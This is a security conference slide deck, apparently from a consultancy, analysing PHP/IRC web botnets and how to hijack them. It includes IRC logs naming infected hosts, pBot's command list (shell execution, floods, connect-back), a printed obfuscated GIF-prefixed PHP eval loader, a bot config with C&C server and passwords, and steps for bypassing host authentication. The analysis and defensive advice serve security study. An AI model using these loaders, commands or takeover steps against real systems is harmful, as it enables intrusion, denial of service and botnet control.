SlideShare a Scribd company logo
Botnets of the Web How to Hijack One
10 November 2013

Sense of Security Pty Ltd
Sydney
Level 8, 66 King St
Sydney NSW 2000
Australia

Melbourne
Level 10, 401 Docklands Dr
Melbourne VIC 3008
Australia

T: 1300 922 923
T: +61 (0) 2 9290 4444
F: +61 (0) 2 9290 4455

info@senseofsecurity.com.au
www.senseofsecurity.com.au
ABN: 14 098 237 908
whois hansv
Hans-Michael Varbaek
• Security Consultant
(aka. PenTester)
• Locksport Wizard
• Captain Obvious
• Community Guy
Agenda
1.
2.
3.
4.
5.
6.
7.

Background
Analysis
Live Demo
Protecting Yourself
Statistical Findings
Conclusion
Q&A
Background
Background
Wikipedia’s depiction of botnet infections:
Background
Web-based botnets?
Classic IRC C&C
Typically PHP
 RoR (CVE-2013-0156)
 Sometimes Perl
Attack methods
 Google Dorks
 RFI Payloads
 Dumb Clients
 Archaic, but it works!

Walter Pinkman – Breaking Bad
Background
What does it look like when you connect?
08:00 -!- b0yz|43231 [captain@obvious] has joined #b0yz
08:00 -!- Topic for #b0yz: /source/includes/load_forum.php?mfh_root_path= Mihalism Multi Forum
Host © 2007
08:00 -!- Topic set by b0yz_JbX [] [Sun Dec 25 21:32:45 2011]
08:00 [Users #b0yz]
08:00 [@b0yz_JbX ] [ b0yz]|[1139] [ b0yz]|[2873] [ b0yz]|[6267] [ b0yz]|[7484][ b0yz]|[9542]
08:00 [%abah
] [ b0yz]|[1419] [ b0yz]|[3234] [ b0yz]|[6344] [ b0yz]|[7521] [ ********** ]
08:00 [%VioLa
] [ b0yz]|[1664] [ b0yz]|[3421] [ b0yz]|[6431] [ b0yz]|[7541] [ Loaded
]
08:00 [+_b0yz_
] [ b0yz]|[1978] [ b0yz]|[3447] [ b0yz]|[6694] [ b0yz]|[8273] [ MiStErluS ]
08:00 [+SiLeT
] [ b0yz]|[2659] [ b0yz]|[5438] [ b0yz]|[6883] [ b0yz]|[8692] [ Security
]
08:00 [ [z]uLva[N]] [ b0yz]|[2858] [ b0yz]|[5541] [ b0yz]|[6972] [ b0yz]|[8945]
08:00 -!- Irssi: #b0yz: Total of 35 nicks [1 ops, 2 halfops, 2 voices, 30 normal]
08:00 -!- Channel #b0yz created Fri Apr 6 07:05:14 2012
08:00 -!- Irssi: Join to #b0yz was synced in 0 secs

It looks exactly like a regular IRC C&C!
Background
What does it look like when you connect?
08:00 -!- b0yz|43231 [captain@obvious] has joined #b0yz
08:00 -!- Topic for #b0yz: /source/includes/load_forum.php?mfh_root_path= Mihalism Multi Forum
Host © 2007
08:00 -!- Topic set by b0yz_JbX [] [Sun Dec 25 21:32:45 2011]
08:00 [Users #b0yz]
08:00 [@b0yz_JbX ] [ b0yz]|[1139] [ b0yz]|[2873] [ b0yz]|[6267] [ b0yz]|[7484][ b0yz]|[9542]
08:00 [%abah
] [ b0yz]|[1419] [ b0yz]|[3234] [ b0yz]|[6344] [ b0yz]|[7521] [ ********** ]
08:00 [%VioLa
] [ b0yz]|[1664] [ b0yz]|[3421] [ b0yz]|[6431] [ b0yz]|[7541] [ Loaded
]
08:00 [+_b0yz_
] [ b0yz]|[1978] [ b0yz]|[3447] [ b0yz]|[6694] [ b0yz]|[8273] [ MiStErluS ]
08:00 [+SiLeT
] [ b0yz]|[2659] [ b0yz]|[5438] [ b0yz]|[6883] [ b0yz]|[8692] [ Security
]
08:00 [ [z]uLva[N]] [ b0yz]|[2858] [ b0yz]|[5541] [ b0yz]|[6972] [ b0yz]|[8945]
08:00 -!- Irssi: #b0yz: Total of 35 nicks [1 ops, 2 halfops, 2 voices, 30 normal]
08:00 -!- Channel #b0yz created Fri Apr 6 07:05:14 2012
08:00 -!- Irssi: Join to #b0yz was synced in 0 secs

It looks exactly like a regular IRC C&C!
Background
Let’s see a /who #b0yz
#b0yz b0yz|43231 H
#b0yz b0yz_JbX H@
#b0yz b0yz]|[8945 H
#b0yz b0yz]|[8273 H
#b0yz [z]uLva[N] H
#b0yz b0yz]|[2659 H
#b0yz b0yz]|[9542 H
#b0yz VioLa
G%
#b0yz b0yz]|[6267 H
#b0yz b0yz]|[3421 H
#b0yz b0yz]|[7541 H
#b0yz b0yz]|[6883 H
#b0yz b0yz]|[6344 H
#b0yz b0yz]|[1419 H
#b0yz b0yz]|[5438 H
#b0yz b0yz]|[6694 H
#b0yz b0yz]|[1664 H
#b0yz b0yz]|[1978 H
#b0yz b0yz]|[7484 H
#b0yz SiLeT
H+
#b0yz b0yz]|[3234 H
#b0yz b0yz]|[7521 H
#b0yz abah
Hr%
#b0yz b0yz]|[2873 H
#b0yz Security
H*
End of /WHO list

0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0

captain@obvious [b0yz|43231]
Aku@host-79-121-103-71.juropnet.hu [.:|| Pangeran Berkelana ||:.]
Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana
Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana
Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana
Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana
Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana
b0yz@Lovers.Community [-=[ Powered by b0yz ]=-]
Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.]
Aku@mail.begumonline.com [.:|| Pangeran Berkelana ||:.]
Aku@paris078.startdedicated.com [.:|| Pangeran Berkelana ||:.]
Aku@dns.sifasol.com [.:|| Pangeran Berkelana ||:.]
Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.]
Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.]
Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.]
zx@mx.projectchemical.com [((([D3V_C0])))]
say@dns.sifasol.com [.:|| Pangeran Berkelana ||:.]
say@dns.sifasol.com [.:|| Pangeran Berkelana ||:.]
say@dns.sifasol.com [.:|| Pangeran Berkelana ||:.]
Aku@C015E953.E43244A9.563BB248.IP [.:|| Pangeran Berkelana ||:.]
Aku@mail.begumonline.com [.:|| Pangeran Berkelana ||:.]
Aku@dns.sifasol.com [.:|| Pangeran Berkelana ||:.]
Aku@vHost [.:|| Pangeran Berkelana ||:.]
Aku@211.234.119.254 [.:|| Pangeran Berkelana ||:.]
oYik.a@IRC [Network]

||:.]
||:.]
||:.]
||:.]
||:.]
Background
How many are reinfections?
#b0yz b0yz|43231 H
#b0yz b0yz_JbX H@
#b0yz b0yz]|[8945 H
#b0yz b0yz]|[8273 H
#b0yz [z]uLva[N] H
#b0yz b0yz]|[2659 H
#b0yz b0yz]|[9542 H
#b0yz VioLa
G%
#b0yz b0yz]|[6267 H
#b0yz b0yz]|[3421 H
#b0yz b0yz]|[7541 H
#b0yz b0yz]|[6883 H
#b0yz b0yz]|[6344 H
#b0yz b0yz]|[1419 H
#b0yz b0yz]|[5438 H
#b0yz b0yz]|[6694 H
#b0yz b0yz]|[1664 H
#b0yz b0yz]|[1978 H
#b0yz b0yz]|[7484 H
#b0yz SiLeT
H+
#b0yz b0yz]|[3234 H
#b0yz b0yz]|[7521 H
#b0yz abah
Hr%
#b0yz b0yz]|[2873 H
#b0yz Security
H*
End of /WHO list

0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0

captain@obvious [b0yz|43231]
Aku@host-79-121-103-71.juropnet.hu [.:|| Pangeran Berkelana ||:.]
Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana
Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana
Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana
Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana
Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana
b0yz@Lovers.Community [-=[ Powered by b0yz ]=-]
Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.]
Aku@mail.begumonline.com [.:|| Pangeran Berkelana ||:.]
Aku@paris078.startdedicated.com [.:|| Pangeran Berkelana ||:.]
Aku@dns.sifasol.com [.:|| Pangeran Berkelana ||:.]
Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.]
Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.]
Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.]
zx@mx.projectchemical.com [((([D3V_C0])))]
say@dns.sifasol.com [.:|| Pangeran Berkelana ||:.]
say@dns.sifasol.com [.:|| Pangeran Berkelana ||:.]
say@dns.sifasol.com [.:|| Pangeran Berkelana ||:.]
Aku@C015E953.E43244A9.563BB248.IP [.:|| Pangeran Berkelana ||:.]
Aku@mail.begumonline.com [.:|| Pangeran Berkelana ||:.]
Aku@dns.sifasol.com [.:|| Pangeran Berkelana ||:.]
Aku@vHost [.:|| Pangeran Berkelana ||:.]
Aku@211.234.119.254 [.:|| Pangeran Berkelana ||:.]
oYik.a@IRC [Network]

||:.]
||:.]
||:.]
||:.]
||:.]
Background
pBot IRC commands:
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*

.die //kill the bot
.restart //restart the bot
.mail <to> <from> <subject> <msg> //send an email
.dns <IP|HOST> //dns lookup
.download <URL> <filename> //download a file
.exec <cmd> // uses exec() //execute a command
.sexec <cmd> // uses shell_exec() //execute a command
.cmd <cmd> // uses popen() //execute a command
.info //get system information
.php <php code> // uses eval() //execute php code
.tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
.udpflood <target> <packets> <packetsize> <delay> [port] //udpflood attack
.raw <cmd> //raw IRC command
.rndnick //change nickname
.pscan <host> <port> //port scan
.safe // test safe_mode (dvl)
.inbox <to> // test inbox (dvl)
.conback <ip> <port> // conect back (dvl)
.uname // return shell's uname using a php function (dvl)
Background
pBot IRC commands - that a hijacker would use?
* .die //kill the bot
* .restart //restart the bot
* .mail <to> <from> <subject> <msg> //send an email
* .dns <IP|HOST> //dns lookup
* .download <URL> <filename> //download a file
* .exec <cmd> // uses exec() //execute a command
* .sexec <cmd> // uses shell_exec() //execute a command
* .cmd <cmd> // uses popen() //execute a command
* .info //get system information
* .php <php code> // uses eval() //execute php code
… [TRUNCATED]
Undocumented Feature:
* .system <cmd> // uses system() //execute a command
Analysis
Analysis
Deobfuscation
• Payloads are “heavily obfuscated”
• base64_decode()
• preg_replace()
• str_rot13()
• gzinflate()
• eval()
• Variable names ($llll = $lll.$lllll;)
Analysis
Deobfuscation
GIF89a?????���!�????,???????D?;?
<?php
set_time_limit(0);
error_reporting(0);
$recky = '7T14SuLKst90rfkPeg54A3uQp84eHVoBWcfc[TRUNCATED]==';
eval(gzinflate(str_rot13(base64_decode($recky))));
?>

Method 1: Change eval() to print(), continue
until plain text is recovered.
Method 2: Use BallastSec’s / Bwall’s decoder!
Analysis
Modified PHP Decoder (Obfuscated)
Analysis
Modified PHP Decoder (Deobfuscated)
Analysis
Discovered Vulnerabilities
• Hardcoded Passwords
• Insecure hostname authentication
• Insufficient access control
Known Vulnerabilities:
- pBot RCE (HostAuth *)
- RA1NX Auth Bypass
Analysis
Discovered Vulnerabilities
• Hardcoded Passwords
var $config = array("server"=>"scan.noip.us",
"port"=>"6667",
"pass"=>"", // Server password
"prefix"=>"puto",
"chan"=>"#ath0",
"key"=>"id", // Channel password
"modes"=>"+p",
"password"=>"id", // Bot password
"trigger"=>,
"hostauth"=>"sHoOcK" // Host Auth
);
Analysis
Discovered Vulnerabilities
• Insecure hostname authentication
var $config = array("server"=>"scan.noip.us",
"port"=>"6667",
"pass"=>"", // Server password
"prefix"=>"puto",
"chan"=>"#ath0",
"key"=>"id", // Channel password
"modes"=>"+p",
"password"=>"id", // Bot password
"trigger"=>,
"hostauth"=>"sHoOcK" // Host Auth
);
Analysis
Insecure hostname authentication
• How easy is it to bypass?
/msg nickserv register 123456 someuser@hushmail.com
/msg nickserv confirm [TOKEN]

A: Needs confirmation
/msg hostserv request target.vhost.tld
/msg hostserv on

B: Does usually not need any confirmation
/join #vhost
!vhost target.vhost.tld
Analysis
Discovered Vulnerabilities
• Insufficient access control
• Anyone can connect to the IRC server. (Obviously)
• A centralised botnet is a flawed design model.

The Solution:
P2P Botnets
Analysis
Reoccurring Bugs
Most of these botnets
have no HostAuth set.

Almost all of them use
either pBot or RA1NX.
Source code is rarely
modified or improved.
Could a cat do it
better? Most likely.
Live Demo
Protection against
Automated bot attacks
aka. How not to become a bot
• Stay up to date
• Stop using dynamic require() and include()
• AND require_once and include_once

• Use a web application firewall
• Check out BallastSec’s tools (PHP)

• Custom Apps?
• Secure Development Life-Cycle
Statistical Findings
and
Conclusions
Statistical Findings
Generic RFI Attacks (On a WordPress Website)
5000
4500
4000
3500

3000
2500
RFI Attacks
2000

1500
1000
500
0
Nov 01-14- Nov 15-30- Dec 01-152012
2012
2012

Dec 15-312012

Jan 01-152013

Jan 15-312013

Feb 01-152013

Primary Source: http://www.attack-scanner.com/category/attack-trends-2/

Feb 15-28- Mar 01-15- Mar 15-312013
2013
2013
Statistical Findings
pBot Attacks (On the same WordPress website)
90

80

70

60

50
Bot Attacks

40

30

20

10

0
Apr-13

May-13

Jun-13

Jul-13

Aug-13

Primary Source: https://defense.ballastsecurity.net/decoding/rss/pbot.rss

Sep-13

Oct-13
Statistical Findings
RA1NX Attacks (On the same WordPress website)
25

20

15

Bot Attacks
10

5

0
Apr-13

May-13

Jun-13

Jul-13

Aug-13

Primary Source: https://defense.ballastsecurity.net/decoding/rss/ra1nx.rss

Sep-13

Oct-13
Statistical Findings
Period: 28 Jul – 01 Nov 2013
Total RFI Attacks: 257
Unique Payloads: 17

Source: InterN0T

Source: Forum Application
Payload Domains: 14
Payload IP Addresses: 13
Statistical Findings
Period: 28 Jul – 01 Nov 2013
Total RFI Attacks: 257

Source: InterN0T

Source: Forum Application
Unique Attacker IPs: 23
Unique Attacker Domains: 19
Conclusion
• RFI Attacks are still occurring (obviously)
• And they are still successful
• But on a smaller scale

• These botnets are small
• Usually between 5-20 hosts

• It’s easy to hijack them
• Requires minimal analysis
• Legal implications
References
Statistics:
http://www.attack-scanner.com/category/attack-trends-2/
Bot Payloads:
https://defense.ballastsecurity.net/decoding/index.php

http://www.irongeek.com/i.php?page=webshells-and-rfis
Papers:
http://www.exploit-db.com/wp-content/themes/exploit/docs/19032.pdf
http://www.exploit-db.com/wp-content/themes/exploit/docs/19395.pdf
Videos:
http://www.youtube.com/watch?v=HAZdpP5M1qc
http://www.youtube.com/watch?v=JrA_axdQj1k
References
Detailed Information:
https://defense.ballastsecurity.net/wiki/index.php/RFI_Payload_Decoder
https://defense.ballastsecurity.net/wiki/index.php/Attack_Analysis
https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL
https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell
Known Exploits:
http://www.exploit-db.com/exploits/24883/
http://www.exploit-db.com/exploits/20168/
http://www.exploit-db.com/exploits/24905/
Tools:
http://www.irongeek.com/downloads/grepforrfi.txt
https://github.com/bwall/PHP-RFI-Payload-Decoder

http://sourceforge.net/p/ra1nxingbots/wiki/Home/
Credits
• Bwall (@bwallHatesTwits)
• DigiP (@xxDigiPxx)
• InterN0T (@InterN0T)

Other credits required by license:
http://www.intechopen.com/books/advances-in-datamining-knowledge-discovery-and-applications/botnetdetection-enhancing-analysis-by-using-data-miningtechniques
Thank You!

Questions?

More Related Content

Recently uploaded

Configuring Single Sign-On (SSO) via Identity Management | MuleSoft Mysore Me...
Configuring Single Sign-On (SSO) via Identity Management | MuleSoft Mysore Me...Configuring Single Sign-On (SSO) via Identity Management | MuleSoft Mysore Me...
Configuring Single Sign-On (SSO) via Identity Management | MuleSoft Mysore Me...
MysoreMuleSoftMeetup
 
Cómo crear video-tutoriales con ScreenPal (2 de julio de 2024)
Cómo crear video-tutoriales con ScreenPal (2 de julio de 2024)Cómo crear video-tutoriales con ScreenPal (2 de julio de 2024)
Cómo crear video-tutoriales con ScreenPal (2 de julio de 2024)
Cátedra Banco Santander
 
Allopathic M1 Srudent Orientation Powerpoint
Allopathic M1 Srudent Orientation PowerpointAllopathic M1 Srudent Orientation Powerpoint
Allopathic M1 Srudent Orientation Powerpoint
Julie Sarpy
 
formative Evaluation By Dr.Kshirsagar R.V
formative Evaluation By Dr.Kshirsagar R.Vformative Evaluation By Dr.Kshirsagar R.V
formative Evaluation By Dr.Kshirsagar R.V
DrRavindrakshirsagar1
 
"DANH SÁCH THÍ SINH XÉT TUYỂN SỚM ĐỦ ĐIỀU KIỆN TRÚNG TUYỂN ĐẠI HỌC CHÍNH QUY ...
"DANH SÁCH THÍ SINH XÉT TUYỂN SỚM ĐỦ ĐIỀU KIỆN TRÚNG TUYỂN ĐẠI HỌC CHÍNH QUY ..."DANH SÁCH THÍ SINH XÉT TUYỂN SỚM ĐỦ ĐIỀU KIỆN TRÚNG TUYỂN ĐẠI HỌC CHÍNH QUY ...
"DANH SÁCH THÍ SINH XÉT TUYỂN SỚM ĐỦ ĐIỀU KIỆN TRÚNG TUYỂN ĐẠI HỌC CHÍNH QUY ...
thanhluan21
 
How to Add a Filter in the Odoo 17 - Odoo 17 Slides
How to Add a Filter in the Odoo 17 - Odoo 17 SlidesHow to Add a Filter in the Odoo 17 - Odoo 17 Slides
How to Add a Filter in the Odoo 17 - Odoo 17 Slides
Celine George
 
Bài tập bộ trợ anh 7 I learn smart world kì 1 năm học 2022 2023 unit 1.doc
Bài tập bộ trợ anh 7 I learn smart world kì 1 năm học 2022 2023 unit 1.docBài tập bộ trợ anh 7 I learn smart world kì 1 năm học 2022 2023 unit 1.doc
Bài tập bộ trợ anh 7 I learn smart world kì 1 năm học 2022 2023 unit 1.doc
PhngThLmHnh
 
New Features in Odoo 17 Sign - Odoo 17 Slides
New Features in Odoo 17 Sign - Odoo 17 SlidesNew Features in Odoo 17 Sign - Odoo 17 Slides
New Features in Odoo 17 Sign - Odoo 17 Slides
Celine George
 
matatag curriculum education for Kindergarten
matatag curriculum education for Kindergartenmatatag curriculum education for Kindergarten
matatag curriculum education for Kindergarten
SarahAlie1
 
The Cruelty of Animal Testing in the Industry.pdf
The Cruelty of Animal Testing in the Industry.pdfThe Cruelty of Animal Testing in the Industry.pdf
The Cruelty of Animal Testing in the Industry.pdf
luzmilaglez334
 
CTD Punjab Police Past Papers MCQs PPSC PDF
CTD Punjab Police Past Papers MCQs PPSC PDFCTD Punjab Police Past Papers MCQs PPSC PDF
CTD Punjab Police Past Papers MCQs PPSC PDF
hammadmughal76316
 
How to Manage Large Scrollbar in Odoo 17 POS
How to Manage Large Scrollbar in Odoo 17 POSHow to Manage Large Scrollbar in Odoo 17 POS
How to Manage Large Scrollbar in Odoo 17 POS
Celine George
 
Genetics Teaching Plan: Dr.Kshirsagar R.V.
Genetics Teaching Plan: Dr.Kshirsagar R.V.Genetics Teaching Plan: Dr.Kshirsagar R.V.
Genetics Teaching Plan: Dr.Kshirsagar R.V.
DrRavindrakshirsagar1
 
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH LỚP 12 - GLOBAL SUCCESS - FORM MỚI 2025 - ...
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH LỚP 12 - GLOBAL SUCCESS - FORM MỚI 2025 - ...BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH LỚP 12 - GLOBAL SUCCESS - FORM MỚI 2025 - ...
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH LỚP 12 - GLOBAL SUCCESS - FORM MỚI 2025 - ...
Nguyen Thanh Tu Collection
 
How to Manage Line Discount in Odoo 17 POS
How to Manage Line Discount in Odoo 17 POSHow to Manage Line Discount in Odoo 17 POS
How to Manage Line Discount in Odoo 17 POS
Celine George
 
How to Manage Access Rights & User Types in Odoo 17
How to Manage Access Rights & User Types in Odoo 17How to Manage Access Rights & User Types in Odoo 17
How to Manage Access Rights & User Types in Odoo 17
Celine George
 
Independence Day Quiz 2K17 - School India Quiz
Independence Day Quiz 2K17 - School India QuizIndependence Day Quiz 2K17 - School India Quiz
Independence Day Quiz 2K17 - School India Quiz
Kashyap J
 
What is Rescue Session in Odoo 17 POS - Odoo 17 Slides
What is Rescue Session in Odoo 17 POS - Odoo 17 SlidesWhat is Rescue Session in Odoo 17 POS - Odoo 17 Slides
What is Rescue Session in Odoo 17 POS - Odoo 17 Slides
Celine George
 
Imagination in Computer Science Research
Imagination in Computer Science ResearchImagination in Computer Science Research
Imagination in Computer Science Research
Abhik Roychoudhury
 
Lecture_Notes_Unit4_Chapter_8_9_10_RDBMS for the students affiliated by alaga...
Lecture_Notes_Unit4_Chapter_8_9_10_RDBMS for the students affiliated by alaga...Lecture_Notes_Unit4_Chapter_8_9_10_RDBMS for the students affiliated by alaga...
Lecture_Notes_Unit4_Chapter_8_9_10_RDBMS for the students affiliated by alaga...
Murugan Solaiyappan
 

Recently uploaded (20)

Configuring Single Sign-On (SSO) via Identity Management | MuleSoft Mysore Me...
Configuring Single Sign-On (SSO) via Identity Management | MuleSoft Mysore Me...Configuring Single Sign-On (SSO) via Identity Management | MuleSoft Mysore Me...
Configuring Single Sign-On (SSO) via Identity Management | MuleSoft Mysore Me...
 
Cómo crear video-tutoriales con ScreenPal (2 de julio de 2024)
Cómo crear video-tutoriales con ScreenPal (2 de julio de 2024)Cómo crear video-tutoriales con ScreenPal (2 de julio de 2024)
Cómo crear video-tutoriales con ScreenPal (2 de julio de 2024)
 
Allopathic M1 Srudent Orientation Powerpoint
Allopathic M1 Srudent Orientation PowerpointAllopathic M1 Srudent Orientation Powerpoint
Allopathic M1 Srudent Orientation Powerpoint
 
formative Evaluation By Dr.Kshirsagar R.V
formative Evaluation By Dr.Kshirsagar R.Vformative Evaluation By Dr.Kshirsagar R.V
formative Evaluation By Dr.Kshirsagar R.V
 
"DANH SÁCH THÍ SINH XÉT TUYỂN SỚM ĐỦ ĐIỀU KIỆN TRÚNG TUYỂN ĐẠI HỌC CHÍNH QUY ...
"DANH SÁCH THÍ SINH XÉT TUYỂN SỚM ĐỦ ĐIỀU KIỆN TRÚNG TUYỂN ĐẠI HỌC CHÍNH QUY ..."DANH SÁCH THÍ SINH XÉT TUYỂN SỚM ĐỦ ĐIỀU KIỆN TRÚNG TUYỂN ĐẠI HỌC CHÍNH QUY ...
"DANH SÁCH THÍ SINH XÉT TUYỂN SỚM ĐỦ ĐIỀU KIỆN TRÚNG TUYỂN ĐẠI HỌC CHÍNH QUY ...
 
How to Add a Filter in the Odoo 17 - Odoo 17 Slides
How to Add a Filter in the Odoo 17 - Odoo 17 SlidesHow to Add a Filter in the Odoo 17 - Odoo 17 Slides
How to Add a Filter in the Odoo 17 - Odoo 17 Slides
 
Bài tập bộ trợ anh 7 I learn smart world kì 1 năm học 2022 2023 unit 1.doc
Bài tập bộ trợ anh 7 I learn smart world kì 1 năm học 2022 2023 unit 1.docBài tập bộ trợ anh 7 I learn smart world kì 1 năm học 2022 2023 unit 1.doc
Bài tập bộ trợ anh 7 I learn smart world kì 1 năm học 2022 2023 unit 1.doc
 
New Features in Odoo 17 Sign - Odoo 17 Slides
New Features in Odoo 17 Sign - Odoo 17 SlidesNew Features in Odoo 17 Sign - Odoo 17 Slides
New Features in Odoo 17 Sign - Odoo 17 Slides
 
matatag curriculum education for Kindergarten
matatag curriculum education for Kindergartenmatatag curriculum education for Kindergarten
matatag curriculum education for Kindergarten
 
The Cruelty of Animal Testing in the Industry.pdf
The Cruelty of Animal Testing in the Industry.pdfThe Cruelty of Animal Testing in the Industry.pdf
The Cruelty of Animal Testing in the Industry.pdf
 
CTD Punjab Police Past Papers MCQs PPSC PDF
CTD Punjab Police Past Papers MCQs PPSC PDFCTD Punjab Police Past Papers MCQs PPSC PDF
CTD Punjab Police Past Papers MCQs PPSC PDF
 
How to Manage Large Scrollbar in Odoo 17 POS
How to Manage Large Scrollbar in Odoo 17 POSHow to Manage Large Scrollbar in Odoo 17 POS
How to Manage Large Scrollbar in Odoo 17 POS
 
Genetics Teaching Plan: Dr.Kshirsagar R.V.
Genetics Teaching Plan: Dr.Kshirsagar R.V.Genetics Teaching Plan: Dr.Kshirsagar R.V.
Genetics Teaching Plan: Dr.Kshirsagar R.V.
 
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH LỚP 12 - GLOBAL SUCCESS - FORM MỚI 2025 - ...
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH LỚP 12 - GLOBAL SUCCESS - FORM MỚI 2025 - ...BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH LỚP 12 - GLOBAL SUCCESS - FORM MỚI 2025 - ...
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH LỚP 12 - GLOBAL SUCCESS - FORM MỚI 2025 - ...
 
How to Manage Line Discount in Odoo 17 POS
How to Manage Line Discount in Odoo 17 POSHow to Manage Line Discount in Odoo 17 POS
How to Manage Line Discount in Odoo 17 POS
 
How to Manage Access Rights & User Types in Odoo 17
How to Manage Access Rights & User Types in Odoo 17How to Manage Access Rights & User Types in Odoo 17
How to Manage Access Rights & User Types in Odoo 17
 
Independence Day Quiz 2K17 - School India Quiz
Independence Day Quiz 2K17 - School India QuizIndependence Day Quiz 2K17 - School India Quiz
Independence Day Quiz 2K17 - School India Quiz
 
What is Rescue Session in Odoo 17 POS - Odoo 17 Slides
What is Rescue Session in Odoo 17 POS - Odoo 17 SlidesWhat is Rescue Session in Odoo 17 POS - Odoo 17 Slides
What is Rescue Session in Odoo 17 POS - Odoo 17 Slides
 
Imagination in Computer Science Research
Imagination in Computer Science ResearchImagination in Computer Science Research
Imagination in Computer Science Research
 
Lecture_Notes_Unit4_Chapter_8_9_10_RDBMS for the students affiliated by alaga...
Lecture_Notes_Unit4_Chapter_8_9_10_RDBMS for the students affiliated by alaga...Lecture_Notes_Unit4_Chapter_8_9_10_RDBMS for the students affiliated by alaga...
Lecture_Notes_Unit4_Chapter_8_9_10_RDBMS for the students affiliated by alaga...
 

Featured

Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage Engineerings
Pixeldarts
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
ThinkNow
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
marketingartwork
 
Skeleton Culture Code
Skeleton Culture CodeSkeleton Culture Code
Skeleton Culture Code
Skeleton Technologies
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
Neil Kimberley
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
contently
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
Albert Qian
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
Kurio // The Social Media Age(ncy)
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
Search Engine Journal
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
SpeakerHub
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
Tessa Mero
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Lily Ray
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
Rajiv Jayarajah, MAppComm, ACC
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
Christy Abraham Joy
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
Vit Horky
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
MindGenius
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
RachelPearson36
 
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
